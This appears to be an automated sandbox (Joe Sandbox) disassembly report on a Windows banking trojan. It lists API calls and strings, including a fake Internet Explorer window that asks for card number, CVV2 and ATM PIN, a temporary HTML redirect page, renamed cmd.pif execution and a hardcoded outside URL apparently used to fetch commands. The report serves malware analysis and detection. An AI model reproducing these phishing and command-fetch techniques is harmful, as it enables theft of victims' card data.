Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

D, xrefs: 00405334
Path, xrefs: 00405250
7O{M, xrefs: 0040513F
X-okRecv11, xrefs: 00405458
IEFrame, xrefs: 004053F2
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
MicroSoft-Corp, xrefs: 004053C3
\Iexplore.exe , xrefs: 004052EC

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
Path, xrefs: 00405C90
D, xrefs: 00405D39
X-okRecv11, xrefs: 00405E3F
IEFrame, xrefs: 00405DE8
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
MicroSoft-Corp, xrefs: 00405DB9
\Iexplore.exe , xrefs: 00405CEB

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

ATM PIN-Code, xrefs: 00406410
3-digit validation code on back of card (cvv2), xrefs: 004063D7
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
Please make corrections and try again., xrefs: 00406482
Card && expiration date, xrefs: 0040635F
20%.2u, xrefs: 00406302
Explorer, xrefs: 00406098
DocObject, xrefs: 00406089
EDIT, xrefs: 004064BD, 004064F9, 0040652F
%.2u, xrefs: 004062D6
BUTTON, xrefs: 0040656B
Visa, xrefs: 00406204
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Click Once To Continue, xrefs: 00406566
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Authorization Failed., xrefs: 00406129
MasterCard, xrefs: 004061F2
QueenKarton, xrefs: 004060F5
Your card number, xrefs: 0040639E

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

</head>, xrefs: 004058D7
function x(), xrefs: 004059A0
%ssetTimeout("x()",%u);, xrefs: 00405ACD
MicroSoft-Corp, xrefs: 0040588B
</script>, xrefs: 00405B07
.htm, xrefs: 0040575E
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
</body><html>, xrefs: 00405B88
%sself.parent.location="%s";, xrefs: 00405A36
<head>, xrefs: 0040580D
<script>, xrefs: 00405966
<html>, xrefs: 0040576C
%s<title>%s%u</title>, xrefs: 00405897
<body>, xrefs: 00405911

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
